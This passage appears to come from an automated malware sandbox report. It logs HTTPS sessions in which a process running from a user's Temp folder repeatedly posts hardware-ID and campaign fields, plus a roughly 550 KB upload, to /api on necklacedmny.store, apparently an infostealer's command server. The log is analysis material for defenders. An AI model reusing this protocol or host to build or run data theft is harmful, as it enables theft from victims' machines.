Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:22 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 04:07:22 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=auch4q9sd6kc6ffe3c8e2du9rf; expires=Sun, 23-Feb-2025 21:54:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qtAeUO210cjuw6WGSaVBDo%2Fe79u3xzAjRoi%2B%2BoQt2SBoPIxDXAJRtKk5ri0b0aw8xOxsbhV2w6vVAQIgXEpSU%2F7nUbnGV7axmlUEXHnRt%2BF5VUrLf0sLrMUqplZMP5fqeWYDEck%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c71b6941ddb4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1289&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2248447&cwnd=32&unsent_bytes=0&cid=af3a77cec6e0d980&ts=891&x=0"
2024-10-31 04:07:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49902	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:24 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1272 Host: necklacedmny.store
2024-10-31 04:07:24 UTC	1272	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:25 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arkgratq7o05tjnhi81d57v8s8; expires=Sun, 23-Feb-2025 21:54:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B9wL0ncIaeYPseo%2FgvGudEyt3s4cvo2dasQVj2IwoQevhRxN16TMzNVNivGPEdbmd%2BdA9fkGxvTcqOql2zP2RiDyFsMOs2wP7bTrgQwD7zEXzy0rB%2B0k2Iz4ZGEwB1g8PB8u7Rk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c72c093a2cde-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1942&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2191&delivery_rate=1468559&cwnd=251&unsent_bytes=0&cid=ef10a34385280d29&ts=442&x=0"
2024-10-31 04:07:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49914	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:26 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549581 Host: necklacedmny.store
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: 18 f9 61 48 51 9a 26 0c e6 69 2a c2 1b 42 f3 5f 3a 8f 6b ff 5b d9 33 82 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 Data Ascii: aHQ&i*B_:k[3;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8e
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: 58 65 41 d0 7e 60 42 36 54 f0 4d fe e2 98 7e 14 13 64 db cd c1 84 55 b6 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b Data Ascii: XeA~`B6TM~dU^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jK
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: f6 1b a2 4c a3 f2 43 1a cf 85 04 89 13 d3 22 2d 44 86 3b ae 73 17 55 80 ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 Data Ascii: LC"-D;sUn(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1R
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: af b6 6c 22 32 cb 30 95 0e 45 ca 7c ff 10 89 d9 b2 11 c4 1e 61 f0 6b 98 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa Data Ascii: l"20E\|ak37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: 8c 53 dc c7 7b 74 4b c7 fd 32 ea 9d 84 38 52 df 0b 1e b6 ce a3 67 9f a6 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 Data Ascii: S{tK28RgLUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R w
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: 9d 87 9c 1f b6 9e 83 c0 c8 01 ab 57 84 e5 81 0b de 7f 30 63 0a 6e ae 2c 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc Data Ascii: W0cn,Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJ
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: df 76 86 43 6a 84 7d 1f b3 ac 04 26 74 35 04 dd a4 61 1d 75 35 2d ae 9c 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd Data Ascii: vCj}&t5au5-D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: ef 02 77 6c c9 a5 13 1c 27 7f 2d 73 f6 b5 36 0b 83 45 36 c2 0a 0c 3c c4 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 Data Ascii: wl'-s6E6<dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v
2024-10-31 04:07:26 UTC	15331	OUT	Data Raw: fd a0 10 50 86 46 54 37 f7 8c 63 ce ed 70 72 23 4a 2e 35 c5 5b 44 23 de c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 Data Ascii: PFT7cpr#J.5[D#dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz
2024-10-31 04:07:28 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m3cjlnbt3acgd9f68pb3bs7ss8; expires=Sun, 23-Feb-2025 21:54:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6hD7%2Bf494SPtDptBh2RdP5viF8oL2%2F7kvQUFUSfadNihn0eW8a0CKb9uuuMsiuh%2BStLriHCEU2p%2F3CtLOLDYLZubix%2FrsxLVX7wSgN7xJtdHlBlzxsNAQUyPaMUSZov%2BUQ5KYv4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c7368b426c1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=209&recv=586&lost=0&retrans=0&sent_bytes=2845&recv_bytes=552064&delivery_rate=2627949&cwnd=251&unsent_bytes=0&cid=05dad4304aabec3a&ts=1879&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49931	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 04:07:28 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D095879C0B68E3F133F8D208CAF1E63B
2024-10-31 04:07:29 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dter39dnqsngk9i1r6of7nlfv9; expires=Sun, 23-Feb-2025 21:54:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m2qjyopSjaWzWOI11FdlwnxtRXwPon1q0ToOQEeqdPtaTd%2BypITMi%2Fu8krW2uBRh7pO0iIS8U8lufireGadmS%2FVgn98Lf4ead0J5OPy1C1qIGbDn0uGqDgOJT5Xj4I%2BM2gDA8ro%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c745bf4e2e1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1474541&cwnd=241&unsent_bytes=0&cid=76a58e3f507817c7&ts=907&x=0"
2024-10-31 04:07:29 UTC	214	IN	Data Raw: 64 30 0d 0a 2f 69 4b 78 51 4a 56 39 4d 71 41 61 6c 66 7a 77 6d 51 67 54 6a 35 6e 6d 64 63 37 73 36 6d 52 75 79 47 38 6e 33 42 48 4d 45 35 65 6c 57 5a 4d 31 74 30 63 51 79 47 37 68 6a 4d 72 46 4a 30 2b 67 71 4e 35 41 34 4e 37 62 55 55 44 35 58 68 54 79 49 50 70 50 75 4a 46 45 31 78 79 36 47 56 66 47 4e 50 43 45 6c 62 73 6b 4d 65 6e 74 78 45 2f 2b 77 4d 67 42 54 50 4a 66 57 76 42 71 37 6d 61 31 78 41 44 5a 4e 4f 45 4e 43 50 77 31 79 64 50 42 6f 54 30 39 76 61 6a 54 57 2f 2f 64 32 55 70 66 2f 6a 4d 49 73 58 69 69 64 73 76 52 55 4e 41 75 38 52 4a 66 6a 6e 2f 74 6d 64 4b 31 4b 6e 58 37 75 39 78 46 34 73 36 50 52 6c 54 34 45 6e 6f 3d 0d 0a Data Ascii: d0/iKxQJV9MqAalfzwmQgTj5nmdc7s6mRuyG8n3BHME5elWZM1t0cQyG7hjMrFJ0+gqN5A4N7bUUD5XhTyIPpPuJFE1xy6GVfGNPCElbskMentxE/+wMgBTPJfWvBq7ma1xADZNOENCPw1ydPBoT09vajTW//d2Upf/jMIsXiidsvRUNAu8RJfjn/tmdK1KnX7u9xF4s6PRlT4Eno=
2024-10-31 04:07:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49939	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 04:07:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 04:07:30 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ifhbut0ocb7v2accf28jlt16ti; expires=Sun, 23-Feb-2025 21:54:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uz2KTbeK1ZtCfSUa4SuTB4MdGp7lhKwPSwB5KjwPSIB6DC8%2B4f7eEH0VNpdM%2BA0j5jYuQBBnm8NSWzgRfCeVFx0eF21fCcYYtolb8yJb0ZM7M9GnqeNWvv2Ml8kwVSssz46nXcE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c74deb30e962-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2231&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1244520&cwnd=251&unsent_bytes=0&cid=6552e56c19d12555&ts=531&x=0"
2024-10-31 04:07:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
